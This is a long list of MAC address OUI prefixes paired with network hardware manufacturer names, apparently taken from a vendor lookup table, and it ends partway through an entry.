Supernet, Inc. 0001E8 Force10 Networks, Inc. 0001D9 Sigma, Inc. 0001E0 Fast Systems, Inc. 0001D5 HAEDONG INFO & COMM CO., LTD 000118 EZ Digital Co., Ltd. 000124 Acer Incorporated 000101 Private 000114 KANDA TSUSHIN KOGYO CO., LTD. 000111 iDigm Inc. 000105 Beckhoff Automation GmbH 00029C 3COM 00B009 Grass Valley, A Belden Brand 00B09D Point Grey Research Inc. 00B094 Alaris, Inc. 00B048 Marconi Communications Inc. 00B0C7 Tellabs Operations, Inc. 003060 Powerfile, Inc. 00301C ALTVATER AIRDATA SYSTEMS 003015 CP CLARE CORP. 0030E6 Draeger Medical Systems, Inc. 003091 TAIWAN FIRST LINE ELEC. CORP. 003080 Cisco Systems, Inc 0030AD SHANGHAI COMMUNICATION 00305B Toko Inc. 003024 Cisco Systems, Inc 00301F OPTICAL NETWORKS, INC. 0030D9 DATACORE SOFTWARE CORP. 00D0FF Cisco Systems, Inc 003058 API MOTION 0030C6 CONTROL SOLUTIONS, INC. 003036 RMP ELEKTRONIKSYSTEME GMBH 00308A NICOTRA SISTEMI S.P.A 00302C SYLANTRO SYSTEMS CORPORATION 003006 SUPERPOWER COMPUTER 003079 CQOS, INC. 003059 KONTRON COMPACT COMPUTERS AG 0030B9 ECTEL 00303A MAATEL 0030A3 Cisco Systems, Inc 003040 Cisco Systems, Inc 003064 ADLINK TECHNOLOGY, INC. 003097 AB Regin 0030EB TURBONET COMMUNICATIONS, INC. 0030C8 GAD LINE, LTD. 0030C9 LuxN, N 00B01E Rantic Labs, Inc. 00B064 Cisco Systems, Inc 0030A2 Lightner Engineering 0030DE WAGO Kontakttechnik GmbH 00309E WORKBIT CORPORATION. 003057 QTelNet, Inc. 00305C SMAR Laboratories Corp. 003082 TAIHAN ELECTRIC WIRE CO., LTD. 0030AE Times N System, Inc. 00300D MMC Technology, Inc. 003075 ADTECH 0030E7 CNF MOBILE SOLUTIONS, INC. 003019 Cisco Systems, Inc 003052 ELASTIC NETWORKS 003011 HMS Industrial Networks 00304A Fraunhofer IPMS 003014 DIVIO, INC. 003029 OPICOM 0030BD BELKIN COMPONENTS 0030BA AC&T SYSTEM CO., LTD. 00301D SKYSTREAM, INC. 003049 BRYANT TECHNOLOGY, LTD. 003041 SAEJIN T & M CO., LTD. 00308C Quantum Corporation 00D04F BITRONICS, INC. 00D0EF IGT 00D022 INCREDIBLE TECHNOLOGIES, INC. 00D0C8 Prevas A/S 00D052 ASCEND COMMUNICATIONS, INC. 00D0B1 OMEGA ELECTRONICS SA 00D0C1 HARMONIC DATA SYSTEMS, LTD. 00D0F0 CONVISION TECHNOLOGY GMBH 00D00E PLURIS, INC. 00D055 KATHREIN-WERKE KG 00D000 FERRAN SCIENTIFIC, INC. 00D005 ZHS ZEITMANAGEMENTSYSTEME 00D019 DAINIPPON SCREEN CORPORATE 00D053 CONNECTED SYSTEMS 00D097 Cisco Systems, Inc 00016A ALITEC 000176 Orient Silver Enterprises 000158 Electro Industries/Gauge Tech 00012D Komodo Technology 000139 Point Multimedia Systems 000140 Sendtek Corporation 00014C Berkeley Process Control 000135 KDC Corp. 00013C TIW SYSTEMS 000148 X-traWeb Inc. 000120 OSCILLOQUARTZ S.A. 000127 OPEN Networks Pty Ltd 00309C Timing Applications, Inc. 003086 Transistor Devices, Inc. 0030B5 Tadiran Microwave Networks 003070 1Net Corporation 003044 CradlePoint, Inc 00307E Redflex Communication Systems 00307A Advanced Technology & Systems 0030B7 Teletrol Systems, Inc. 0030B3 San Valley Systems, Inc. 00303B PowerCom Technology 0030BC Optronic AG 003071 Cisco Systems, Inc 009003 APLIO 0090D7 NetBoost Corp. 009093 NANAO CORPORATION 0090B4 WILLOWBROOK TECHNOLOGIES 009083 TURBO COMMUNICATION, INC. 0090BD OMNIA COMMUNICATIONS, INC. 009094 OSPREY TECHNOLOGIES, INC. 0090DD MIHARU COMMUNICATIONS Inc 009028 NIPPON SIGNAL CO., LTD. 00908C ETREND ELECTRONICS, INC. 00905D NETCOM SICHERHEITSTECHNIK GMBH 009068 DVT CORP. 009030 HONEYWELL-DATING 0090D3 GIESECKE & DEVRIENT GmbH 005081 MURATA MACHINERY, LTD. 0050CB JETTER 00500E CHROMATIS NETWORKS, INC. 0050FD VISIONCOMM CO., LTD. 0050FE PCTVnet ASA 0050AB NALTEC, Inc. 005006 TAC AB 0050BF Metalligence Technology Corp. 005066 AtecoM GmbH advanced telecomunication modules 0050D9 ENGETRON-ENGENHARIA ELETRONICA IND. e COM. LTDA 005043 MARVELL SEMICONDUCTOR, INC. 005018 AMIT, Inc. 005059 iBAHN 00506A EDEVA, INC. 00502E CAMBEX CORPORATION 005070 CHAINTECH COMPUTER CO., LTD. 00503B MEDIAFIRE CORPORATION 005084 ATL PRODUCTS 005055 DOMS A/S 00504B BARCONET N.V. 005046 MENICX INTERNATIONAL CO., LTD. 00502C SOYO COMPUTER, INC. 005060 TANDBERG TELECOM AS 0050DD SERRA SOLDADURA, S.A. 00503F ANCHOR GAMES 0050EE TEK DIGITEL CORPORATION 005004 3COM CORPORATION 005072 CORVIS CORPORATION 005012 CBL - GMBH 0050E8 NOMADIX INC. 0050F2 MICROSOFT CORP. 005052 TIARA NETWORKS, INC. 005064 CAE ELECTRONICS 0050B4 SATCHWELL CONTROL SYSTEMS, LTD 0050B2 BRODEL GmbH 00D081 RTD Embedded Technologies, Inc. 00D011 PRISM VIDEO, INC. 00D09B SPECTEL LTD. 00D031 INDUSTRIAL LOGIC CORPORATION 00D021 REGENT ELECTRONICS CORP. 00D0DF KUZUMI ELECTRONICS, INC. 00D0B4 KATSUJIMA CO., LTD. 00D079 Cisco Systems, Inc 00D0E2 MRT MICRO, INC. 00D039 UTILICOM, INC. 00504F OLENCOM ELECTRONICS 0050A0 DELTA COMPUTER SYSTEMS, INC. 005007 SIEMENS TELECOMMUNICATION SYSTEMS LIMITED 005015 BRIGHT STAR ENGINEERING 005031 AEROFLEX LABORATORIES, INC. 0050DF AirFiber, Inc. 0050F3 GLOBAL NET INFORMATION CO., Ltd. 005038 DAIN TELECOM CO., LTD. 00D0E1 AVIONITEK ISRAEL INC. 00D01B MIMAKI ENGINEERING CO., LTD. 00D06E TRENDVIEW RECORDERS LTD. 00D075 ALARIS MEDICAL SYSTEMS, INC. 00509D THE INDUSTREE B.V. 00501E Grass Valley, A Belden Brand 00502B GENRAD LTD. 00500A IRIS TECHNOLOGIES, INC. 00D027 APPLIED AUTOMATION, INC. 00D0F1 SEGA ENTERPRISES, LTD. 00D009 HSING TECH. ENTERPRISE CO. LTD 00D080 EXABYTE CORPORATION 00D084 NEXCOMM SYSTEMS, INC. 00D0E6 IBOND INC. 00D099 Elcard Wireless Systems Oy 0090AF J. MORITA MFG. CORP. 009088 BAXALL SECURITY LTD. 0090E0 SYSTRAN CORP. 00903E N.V. PHILIPS INDUSTRIAL ACTIVITIES 0090B9 BERAN INSTRUMENTS LTD. 00901A UNISPHERE SOLUTIONS 009082 FORCE INSTITUTE 00906A TURNSTONE SYSTEMS, INC. 0001FE DIGITAL EQUIPMENT CORPORATION 009077 ADVANCED FIBRE COMMUNICATIONS 0090B2 AVICI SYSTEMS INC. 009095 UNIVERSAL AVIONICS 009012 GLOBESPAN SEMICONDUCTOR, INC. 0090B6 FIBEX SYSTEMS 0090F4 LIGHTNING INSTRUMENTATION 00904F ABB POWER T&D COMPANY, INC. 00905A DEARBORN GROUP, INC. 009066 Troika Networks, Inc. 00907A Spectralink, Inc 0090F0 Harmonic Video Systems Ltd. 001047 ECHO ELETRIC CO. LTD. 00100C ITO CO., LTD. 0010D0 WITCOM, LTD. 001006 Thales Contact Solutions Ltd. 0010D6 Exelis 001076 EUREM GmbH 00103F TOLLGRADE COMMUNICATIONS, INC. 001034 GNP Computers 001012 PROCESSOR SYSTEMS (I) PVT LTD 0010C8 COMMUNICATIONS ELECTRONICS SECURITY GROUP 0010D1 Top Layer Networks, Inc. 0010F0 RITTAL-WERK RUDOLF LOH GmbH & Co. 00106A DIGITAL MICROWAVE CORPORATION 001030 EION Inc. 0010A4 XIRCOM 001050 RION CO., LTD. 00109C M-SYSTEM CO., LTD. 001064 DNPG, LLC 001020 Hand Held Products Inc 00106E TADIRAN COM. LTD. 00105B NET INSIGHT AB 001002 ACTIA 0010A0 INNOVEX TECHNOLOGIES, INC. 001074 ATEN INTERNATIONAL CO., LTD. 001057 Rebel.com, Inc. 0010BC Aastra Telecom 001033 ACCESSLAN COMMUNICATIONS, INC. 0004AC IBM Corp 0010B4 ATMOSPHERE NETWORKS 0010F9 UNIQUE SYSTEMS, INC. 001038 MICRO RESEARCH INSTITUTE, INC. 00100A WILLIAMS COMMUNICATIONS GROUP 001080 METAWAVE COMMUNICATIONS 0010AB KOITO ELECTRIC INDUSTRIES, LTD. 00903C ATLANTIC NETWORK SYSTEMS 0090CE TETRA GmbH 0090E3 AVEX ELECTRONICS INC. 00900B LANNER ELECTRONICS, INC. 0090C8 WAVERIDER COMMUNICATIONS (CANADA) INC. 0090B7 DIGITAL LIGHTWAVE, INC. 009037 ACUCOMM, INC. 009059 TELECOM DEVICE K.K. 00E003 NOKIA WIRELESS BUSINESS COMMUN 00E0F3 WebSprint Communications, Inc. 00E013 EASTERN ELECTRONIC CO., LTD. 001063 STARGUIDE DIGITAL NETWORKS 0010A7 UNEX TECHNOLOGY CORPORATION 001039 Vectron Systems AG 0010C3 CSI-CONTROL SYSTEMS 00107F CRESTRON ELECTRONICS, INC. 00102C Lasat Networks A/S 0010B7 COYOTE TECHNOLOGIES, LLC 006064 NETCOMM LIMITED 0060CB HITACHI ZOSEN CORPORATION 006090 Artiza Networks Inc 0060A9 GESYTEC MBH 0060F2 LASERGRAPHICS, INC. 006031 HRK SYSTEMS 0060A6 PARTICLE MEASURING SYSTEMS 006082 NOVALINK TECHNOLOGIES, INC. 006012 POWER COMPUTING CORPORATION 00604D MMC NETWORKS, INC. 0060E5 FUJI AUTOMATION CO., LTD. 006010 NETWORK MACHINES, INC. 006044 LITTON/POLY-SCIENTIFIC 0060BE WEBTRONICS 006052 PERIPHERALS ENTERPRISE CO., Ltd. 00E03F JATON CORPORATION 00E0EB DIGICOM SYSTEMS, INCORPORATED 00E00E AVALON IMAGING SYSTEMS, INC. 00E0CD SAAB SENSIS CORPORATION 00E0CB RESON, INC. 00E048 SDL COMMUNICATIONS, INC. 00E083 JATO TECHNOLOGIES, INC. 00E03D FOCON ELECTRONIC SYSTEMS A/S 00E0FA TRL TECHNOLOGY, LTD. 00E02C AST COMPUTER 00E00B ROOFTOP COMMUNICATIONS CORP. 00E067 eac AUTOMATION-CONSULTING GmbH 00E058 PHASE ONE DENMARK A/S 00E089 ION Networks, Inc. 00E03B PROMINET CORPORATION 006017 TOKIMEC INC. 0060E6 SHOMITI SYSTEMS INCORPORATED 006053 TOYODA MACHINE WORKS, LTD. 0060A0 SWITCHED NETWORK TECHNOLOGIES, INC. 006019 Roche Diagnostics 006033 ACUITY IMAGING, INC. 0060EE APOLLO 006022 VICOM SYSTEMS, INC. 006013 NETSTAL MASCHINEN AG 0060F4 ADVANCED COMPUTER SOLUTIONS, Inc. 006011 CRYSTAL SEMICONDUCTOR CORP. 00600E WAVENET INTERNATIONAL, INC. 0060C0 Nera Networks AS 00E062 HOST ENGINEERING 00E033 E.E.P.D. GmbH 00E079 A.T.N.R. 00E09C MII 00E075 Verilink Corporation 00E07A MIKRODIDAKT AB 00E03E ALFATECH, INC. 00E09A Positron Inc. 0060D7 ECOLE POLYTECHNIQUE FEDERALE DE LAUSANNE (EPFL) 006087 KANSAI ELECTRIC CO., LTD. 00E029 STANDARD MICROSYSTEMS CORP. 00606B Synclayer Inc. 006073 REDCREEK COMMUNICATIONS, INC. 006039 SanCom Technology, Inc. 0060A5 PERFORMANCE TELECOM CORP. 0060B3 Z-COM, INC. 006089 XATA 00603C HAGIWARA SYS-COM CO., LTD. 00602E CYCLADES CORPORATION 006075 PENTEK, INC. 00601C TELXON CORPORATION 006016 CLARIION 0060AD MegaChips Corporation 0060B6 LAND COMPUTER CO., LTD. 006055 CORNELL UNIVERSITY 006015 NET2NET CORPORATION 00A01D Red Lion Controls, LP 00A071 VIDEO LOTTERY TECHNOLOGIES,INC 00A052 STANILITE ELECTRONICS PTY. LTD 00A0EA ETHERCOM CORP. 00A02E BRAND COMMUNICATIONS, LTD. 00A0E2 Keisokugiken Corporation 00A058 GLORY, LTD. 00E093 ACKFIN NETWORKS 00E0E3 SK-ELEKTRONIK GMBH 00E066 ProMax Systems, Inc. 00E0DB ViaVideo Communications, Inc. 00E0DF KEYMILE GmbH 00E00D RADIANT SYSTEMS 00E008 AMAZING CONTROLS! INC. 00E086 Emerson Network Power, Avocent Division 00E0E1 G2 NETWORKS, INC. 00E042 Pacom Systems Ltd. 00E08E UTSTARCOM 00E095 ADVANCED-VISION TECHNOLGIES CORP. 006006 SOTEC CO., LTD 00603D 3CX 006029 CARY PERIPHERALS INC. 006043 iDirect, INC. 0060D1 CASCADE COMMUNICATIONS 0060CD VideoServer, Inc. 006094 IBM Corp 0060D9 TRANSYS NETWORKS INC. 0060AA INTELLIGENT DEVICES INC. (IDI) 00605A CELCORE, INC. 006065 BERNECKER & RAINER INDUSTRIE-ELEKTRONIC GmbH 00E07B BAY NETWORKS 00E077 WEBGEAR, INC. 00E0D2 VERSANET COMMUNICATIONS, INC. 00E04E SANYO DENKI CO., LTD. 00E0D0 NETSPEED, INC. 00E02A TANDBERG TELEVISION AS 00E05B WEST END SYSTEMS CORP. 00E051 TALX CORPORATION 00A0F0 TORONTO MICROELECTRONICS INC. 00A049 DIGITECH INDUSTRIES, INC. 00A027 FIREPOWER SYSTEMS, INC. 00A0FF TELLABS OPERATIONS, INC. 00A001 DRS Signal Solutions 00A0F1 MTI 00A046 SCITEX CORP. LTD. 00A0D9 CONVEX COMPUTER CORPORATION 00A0B5 3H TECHNOLOGY 00A0AC GILAT SATELLITE NETWORKS, LTD. 00A057 LANCOM Systems GmbH 00A086 AMBER WAVE SYSTEMS, INC. 00A083 ASIMMPHONY TURKEY 00A091 APPLICOM INTERNATIONAL 00A004 NETPOWER, INC. 00A081 ALCATEL DATA NETWORKS 00200F EBRAINS Inc 0020C7 AKAI Professional M.I. Corp. 0020EB CINCINNATI MICROWAVE, INC. 0020E3 MCD KENCOM CORPORATION 002013 DIVERSIFIED TECHNOLOGY, INC. 0020C1 SAXA, Inc. 002087 MEMOTEC, INC. 0020F9 PARALINK NETWORKS, INC. 00A0F9 BINTEC COMMUNICATIONS GMBH 00A0BC VIASAT, INCORPORATED 00A003 Siemens Switzerland Ltd., I B T HVP 00A09E ICTV 00A026 TELDAT, S.A. 00201A MRV Communications, Inc. 002023 T.C. TECHNOLOGIES PTY. LTD 0020F3 RAYNET CORPORATION 002039 SCINETS 002038 VME MICROSYSTEMS INTERNATIONAL CORPORATION 00203E LogiCan Technologies, Inc. 002055 ALTECH CO., LTD. 0020D9 PANASONIC TECHNOLOGIES, INC./MIECO-US 002080 SYNERGY (UK) LTD. 002026 AMKLY SYSTEMS, INC. 00203D Honeywell ECC 002019 OHLER GMBH 002057 TITZE DATENTECHNIK GmbH 0020BE LAN ACCESS CORP. 002022 NMS Communications 0020AA Ericsson Television Limited 00208E CHEVIN SOFTWARE ENG. LTD. 00203B WISDM LTD. 002044 GENITECH PTY LTD 0020F5 PANDATEL AG 002021 ALGORITHMS SOFTWARE PVT. LTD. 002074 SUNGWOON SYSTEMS 0020CE LOGICAL DESIGN GROUP, INC. 002082 ONEAC CORPORATION 0020BF AEHR TEST SYSTEMS 0020F1 ALTOS INDIA LIMITED 00205D NANOMATIC OY 0020E1 ALAMAR ELECTRONICS 0020CC DIGITAL SERVICES, LTD. 00202C WELLTRONIX CO., LTD. 0020B3 Tattile SRL 00A048 QUESTECH, LTD. 00A0C4 CRISTIE ELECTRONICS LTD. 00A089 XPOINT TECHNOLOGIES, INC. 00A0D1 INVENTEC CORPORATION 00A0AE NUCOM SYSTEMS, INC. 00A02B TRANSITIONS RESEARCH CORP. 00A0A1 EPIC DATA INC. 00A0C3 UNICOMPUTER GMBH 00A042 SPUR PRODUCTS CORP. 00C007 PINNACLE DATA SYSTEMS, INC. 00C0F8 ABOUT COMPUTING INC. 00C06F KOMATSU LTD. 00C08E NETWORK INFORMATION TECHNOLOGY 00C05A SEMAPHORE COMMUNICATIONS CORP. 00C0EB SEH COMPUTERTECHNIK GMBH 00C0C7 SPARKTRUM MICROSYSTEMS, INC. 00C0D8 UNIVERSAL DATA SYSTEMS 00C068 HME Clear-Com LTD. 0040DB ADVANCED TECHNICAL SOLUTIONS 00405B FUNASSET LIMITED 00401B PRINTER SYSTEMS CORP. 0040EB MARTIN MARIETTA CORPORATION 0040CD TERA MICROSYSTEMS, INC. 0040E5 SYBUS CORPORATION 0040F9 COMBINET 004039 OPTEC DAIICHI DENKO CO., LTD. 0040FE SYMPLEX COMMUNICATIONS 0020F0 UNIVERSAL MICROELECTRONICS CO. 0020EF USC CORPORATION 002016 SHOWA ELECTRIC WIRE & CABLE CO 00201F BEST POWER TECHNOLOGY, INC. 002045 ION Networks, Inc. 0020B6 AGILE NETWORKS, INC. 00208A SONIX COMMUNICATIONS, LTD. 00204C MITRON COMPUTER PTE LTD. 002002 SERITECH ENTERPRISE CO., LTD. 00204B AUTOCOMPUTER CO., LTD. 0020AF 3COM CORPORATION 002048 Marconi Communications 002008 CABLE & COMPUTER TECHNOLOGY 00C023 TUTANKHAMON ELECTRONICS 00C0F3 NETWORK COMMUNICATIONS CORP. 00C043 STRATACOM 00C0B3 COMSTAT DATACOMM CORPORATION 00C0B5 CORPORATE NETWORK SYSTEMS,INC. 00403E RASTER OPS CORPORATION 0040AE DELTA CONTROLS, INC. 0040C6 FIBERNET RESEARCH, INC. 004092 ASP COMPUTER PRODUCTS, INC. 004054 CONNECTION MACHINES SERVICES 0040D8 OCEAN OFFICE AUTOMATION LTD. 0040C0 VISTA CONTROLS CORPORATION 004088 MOBIUS TECHNOLOGIES, INC. 00803B APT COMMUNICATIONS, INC. 0080BA SPECIALIX (ASIA) PTE, LTD 00BB01 OCTOTHORPE CORP. 00C01F S.E.R.C.E.L. 00C094 VMX INC. 00C075 XANTE CORPORATION 00C0F9 Artesyn Embedded Technologies 00C039 Teridian Semiconductor Corporation 00C077 DAEWOO TELECOM LTD. 00C02F OKUMA CORPORATION 00C0F1 SHINKO ELECTRIC CO., LTD. 00C0DE ZCOMM, INC. 0040AF DIGITAL PRODUCTS, INC. 00404F SPACE & NAVAL WARFARE SYSTEMS 00407B SCIENTIFIC ATLANTA 00404E FLUENT, INC. 00C0F7 ENGAGE COMMUNICATION, INC. 00C030 INTEGRATED ENGINEERING B. V. 00C04A GROUP 2000 AG 00C0A6 EXICOM AUSTRALIA PTY. LTD 00C053 Aspect Software Inc. 00C0CF IMATRAN VOIMA OY 00C029 Nexans Deutschland GmbH - ANS 00C0A4 UNIGRAF OY 00C060 ID SCANDINAVIA AS 00C082 MOORE PRODUCTS CO. 00C008 SECO SRL 00C0BB FORVAL CREATIVE, INC. 00C0E0 DSC COMMUNICATION CORP. 00C05E VARI-LITE, INC. 00C031 DESIGN RESEARCH SYSTEMS, INC. 00C07C HIGHTECH INFORMATION 00C0AE TOWERCOM CO. INC. DBA PC HOUSE 00C0D6 J1 SYSTEMS, INC. 00C0AA SILICON VALLEY COMPUTER 00C04E COMTROL CORPORATION 00C00A MICRO CRAFT 00C02A OHKURA ELECTRIC CO., LTD. 00C0F2 TRANSITION NETWORKS 00C01D GRAND JUNCTION NETWORKS, INC. 00C0AD MARBEN COMMUNICATION SYSTEMS 00C024 EDEN SISTEMAS DE COMPUTACAO SA 00C0E9 OAK SOLUTIONS, LTD. 00C0C5 SID INFORMATICA 00C001 DIATEK PATIENT MANAGMENT 00C07E KUBOTA CORPORATION ELECTRONIC 008012 INTEGRATED MEASUREMENT SYSTEMS 008039 ALCATEL STC AUSTRALIA 008023 INTEGRATED BUSINESS NETWORKS 0080CA NETCOM RESEARCH INCORPORATED 00804D CYCLONE MICROSYSTEMS, INC. 0080D6 NUVOTECH, INC. 0080ED IQ TECHNOLOGIES, INC. 0080C1 LANEX CORPORATION 008049 NISSIN ELECTRIC CO., LTD. 00807C FIBERCOM, INC. 008079 MICROBUS DESIGNS LTD. 0080DE GIPSI S.A. 008004 ANTLOW COMMUNICATIONS, LTD. 008078 PRACTICAL PERIPHERALS, INC. 008040 JOHN FLUKE MANUFACTURING CO. 0000F8 DIGITAL EQUIPMENT CORPORATION 0080CE BROADCAST TELEVISION SYSTEMS 00801A BELL ATLANTIC 00803F TATUNG COMPANY 0080D4 CHASE RESEARCH LTD. 0080CB FALCO DATA PRODUCTS 008075 PARSYTEC GMBH 0080EB COMPCONTROL B.V. 008099 Eaton Industries GmbH 0080E4 NORTHWEST DIGITAL SYSTEMS, INC 008041 VEB KOMBINAT ROBOTRON 0080C8 D-LINK SYSTEMS, INC. 008036 REFLEX MANUFACTURING SYSTEMS 0040F0 MicroBrain,Inc. 0040A7 ITAUTEC PHILCO S.A. 0040D3 KIMPSION INTERNATIONAL CORP. 004065 GTE SPACENET 0040CB LANWAN TECHNOLOGIES 004041 FUJIKURA LTD. 004053 AMPRO COMPUTERS 008032 ACCESS CO., LTD. 0080CF EMBEDDED PERFORMANCE INC. 008031 BASYS, CORP. 00803A VARITYPER, INC. 00807E SOUTHERN PACIFIC LTD. 008029 EAGLE TECHNOLOGY, INC. 00802F NATIONAL INSTRUMENTS CORP. 008051 FIBERMUX 0080FD EXSCEED CORPRATION 004008 A PLUS INFO CORPORATION 0040E9 ACCORD SYSTEMS, INC. 0040B5 VIDEO TECHNOLOGY COMPUTERS LTD 004012 WINDATA, INC. 00401C AST RESEARCH, INC. 004067 OMNIBYTE CORPORATION 004035 OPCOM 0040EA PLAIN TREE SYSTEMS INC 0040EF HYPERCOM, INC. 004093 PAXDATA NETWORKS LTD. 0040EC MIKASA SYSTEM ENGINEERING 0080B9 ARCHE TECHNOLIGIES INC. 0080A7 Honeywell International Inc 0040DA TELSPEC LTD 004083 TDA INDUSTRIA DE PRODUTOS 0040C8 MILAN TECHNOLOGY CORPORATION 0040BC ALGORITHMICS LTD. 00402F XLNT DESIGNS INC. 00405D STAR-TEK, INC. 00405F AFE COMPUTERS LTD. 004043 Nokia Siemens Networks GmbH & Co. KG. 00800D VOSSWINKEL F.U. 0080D1 KIMTRON CORPORATION 00805D CANSTAR 008094 ALFA LAVAL AUTOMATION AB 008047 IN-NET CORP. 008064 WYSE TECHNOLOGY LLC 0080C5 NOVELLCO DE MEXICO 0080AC IMLOGIX, DIVISION OF GENESYS 000052 Intrusion.com, Inc. 0000BD MITSUBISHI CABLE COMPANY 000037 OXFORD METRICS LIMITED 00003F SYNTREX, INC. 08007C VITALINK COMMUNICATIONS CORP. 080076 PC LAN TECHNOLOGIES 080072 XEROX CORP UNIV GRANT PROGRAM 080068 RIDGE COMPUTERS 080062 General Dynamics 080057 Evans & Sutherland 000010 SYTEK INC. 000033 EGAN MACHINERY COMPANY 000080 CRAY COMMUNICATIONS A/S 0000FD HIGH LEVEL HARDWARE 08008C NETWORK RESEARCH CORPORATION 080089 Kinetics 080084 TOMEN ELECTRONICS CORP. 00000D FIBRONICS LTD. 00004F LOGICRAFT, INC. 000015 DATAPOINT CORPORATION 0000C7 ARIX CORPORATION 00001C BELL TECHNOLOGIES 00001A ADVANCED MICRO DEVICES 000082 LECTRA SYSTEMES SA 0000DA ATEX 0000DB British Telecommunications plc 0000C1 Madge Ltd. 0000F6 APPLIED MICROSYSTEMS CORP. 080023 Panasonic Communications Co., Ltd. 080022 NBI INC. 080019 GENERAL ELECTRIC CORPORATION 08004D CORVUS SYSTEMS INC. 08003E CODEX CORPORATION 080033 BAUSCH & LOMB 08002F PRIME COMPUTER INC. 080032 TIGAN INCORPORATED 08002E METAPHOR COMPUTER SYSTEMS 0000D2 SBE, INC. 00006B SILICON GRAPHICS INC./MIPS 0000CC DENSAN CO., LTD. 0000CE MEGADATA CORP. 0000EF KTI 00000F NEXT, INC. 0000C6 EON SYSTEMS 0000D5 MICROGNOSIS INTERNATIONAL 000078 LABTAM LIMITED 0000EB MATSUSHITA COMM. IND. CO. LTD. 00009C ROLM MIL-SPEC COMPUTERS 000032 Marconi plc 000069 CONCORD COMMUNICATIONS INC 00008B INFOTRON 0000BE THE NTI GROUP 00004C NEC CORPORATION 00003B i Controls, Inc. 080013 Exxon 02BB01 OCTOTHORPE CORP. 0000A6 NETWORK GENERAL CORPORATION 00DD06 UNGERMANN-BASS INC. 00DD0B UNGERMANN-BASS INC. 000007 XEROX CORPORATION 080014 EXCELAN 08000F MITEL CORPORATION 0000D7 DARTMOUTH COLLEGE 00DD00 UNGERMANN-BASS INC. 08000A NESTAR SYSTEMS INCORPORATED 08001C KDD-KOKUSAI DEBNSIN DENWA CO. 02AA3C OLIVETTI TELECOMM SPA (OLTECO) 08001D ABLE COMMUNICATIONS INC. 080018 PIRELLI FOCOM NETWORKS 080015 STC BUSINESS SYSTEMS 00DD03 UNGERMANN-BASS INC. 00801F KRUPP ATLAS ELECTRONIK GMBH 00408E Tattile SRL 00800F STANDARD MICROSYSTEMS 080065 GENRAD INC. 002275 Belkin International Inc. 149182 Belkin International Inc. 70106F Hewlett Packard Enterprise 988B5D Sagemcom Broadband SAS 94FEF4 Sagemcom Broadband SAS C8CD72 Sagemcom Broadband SAS E8BE81 Sagemcom Broadband SAS C4282D Embedded Intellect Pty Ltd 002348 Sagemcom Broadband SAS B870F4 COMPAL INFORMATION (KUNSHAN) CO., LTD. 000FB0 COMPAL ELECTRONICS, INC. 1C7508 COMPAL INFORMATION (KUNSHAN) CO., LTD. 3829DD ONvocal Inc F81897 2Wire Inc ECF4BB Dell Inc. D067E5 Dell Inc. 18A99B Dell Inc. F8DB88 Dell Inc. 18FB7B Dell Inc. 001495 2Wire Inc 74E6E2 Dell Inc. 109836 Dell Inc. 44A842 Dell Inc. 34E6D7 Dell Inc. 000BDB Dell Inc. 001143 Dell Inc. 00188B Dell Inc. D4BED9 Dell Inc. 002650 2Wire Inc 00217C 2Wire Inc 001FB3 2Wire Inc 640F28 2Wire Inc 001AA0 Dell Inc. 002170 Dell Inc. 0026B9 Dell Inc. A4BADB Dell Inc. 001E4F Dell Inc. 5CF9DD Dell Inc. 907AF1 Wally 28101B MagnaCom 00065B Dell Inc. 448723 HOYA SERVICE CORPORATION 806C1B Motorola Mobility LLC, a Lenovo Company A470D6 Motorola Mobility LLC, a Lenovo Company 001B21 Intel Corporate 001B77 Intel Corporate 18FF0F Intel Corporate 58A839 Intel Corporate A434D9 Intel Corporate 00215D Intel Corporate 001676 Intel Corporate 984FEE Intel Corporate E82AEA Intel Corporate 605718 Intel Corporate C4D987 Intel Corporate B4B676 Intel Corporate 8C705A Intel Corporate 9C4E36 Intel Corporate 541473Wingtech Group (HongKong)Limited 001C50 TCL Technoly Electronics (Huizhou) Co., Ltd. 00AA01 Intel Corporation 5C36B8 TCL King Electrical Appliances (Huizhou) Co., Ltd 009027 Intel Corporation A08869 Intel Corporate 00C2C6 Intel Corporate B88A60 Intel Corporate 00A0C9 Intel Corporation 7C7A91 Intel Corporate AC7BA1 Intel Corporate AC7289 Intel Corporate 606C66 Intel Corporate 4C8093 Intel Corporate BC7737 Intel Corporate A088B4 Intel Corporate 00270E Intel Corporate 001DE0 Intel Corporate 0024D6 Intel Corporate D8FC93 Intel Corporate E8B1FC Intel Corporate 186472 Aruba Networks 00246C Aruba Networks 64D954 Taicang T&W Electronics 74C63B AzureWave Technology Inc. CC1FC4 InVue A0D37A Intel Corporate 985FD3 Microsoft Corporation 00D0AC Commscope, Inc 0025D3 AzureWave Technology Inc. 742F68 AzureWave Technology Inc. DC85DE AzureWave Technology Inc. E0B9A5 AzureWave Technology Inc. E04136 MitraStar Technology Corp. E0B2F1 FN-LINK TECHNOLOGY LIMITED 0026FC AcSiP Technology Corp. B8616F Accton Technology Corp 0010B5 Accton Technology Corp 00A02F ADB Broadband Italia 6487D7 ADB Broadband Italia 00E098 AboCom 0000B1 Alpha Micro 001577 Allied Telesis, Inc. ACE010 Liteon Technology Corporation EC086B TP-LINK TECHNOLOGIES CO.,LTD. B00594 Liteon Technology Corporation 40F02F Liteon Technology Corporation E8617E Liteon Technology Corporation 28E347 Liteon Technology Corporation 18CF5E Liteon Technology Corporation D0DF9A Liteon Technology Corporation 0013A9 Sony Corporation 002163 ASKEY COMPUTER CORP E839DF ASKEY COMPUTER CORP 00138F Asiarock Technology Limited 1C69A5 BlackBerry RTS 003067 BIOSTAR Microtech Int'l Corp. 246511 AVM GmbH 002308 Arcadyan Technology Corporation 880355 Arcadyan Technology Corporation 5CDC96 Arcadyan Technology Corporation D0D04B HUAWEI TECHNOLOGIES CO.,LTD 001D00 Brivo Systems, LLC 0010E7 Breezecom, Ltd. 5C9656 AzureWave Technology Inc. 7C4CA5 BSkyB Ltd 902106 BSkyB Ltd A4C7DE Cambridge Industries(Group) Co.,Ltd. 343759 zte corporation 00402A Canoga Perkins Corporation 382DE8 Samsung Electronics Co.,Ltd D087E2 Samsung Electronics Co.,Ltd 205531 Samsung Electronics Co.,Ltd 5440AD Samsung Electronics Co.,Ltd 842E27 Samsung Electronics Co.,Ltd 50F0D3 Samsung Electronics Co.,Ltd 84119E Samsung Electronics Co.,Ltd 08ECA9 Samsung Electronics Co.,Ltd 10D38A Samsung Electronics Co.,Ltd 382DD1 Samsung Electronics Co.,Ltd E0CBEE Samsung Electronics Co.,Ltd 64B853 Samsung Electronics Co.,Ltd F4428F Samsung Electronics Co.,Ltd 188331 Samsung Electronics Co.,Ltd 8455A5 Samsung Electronics 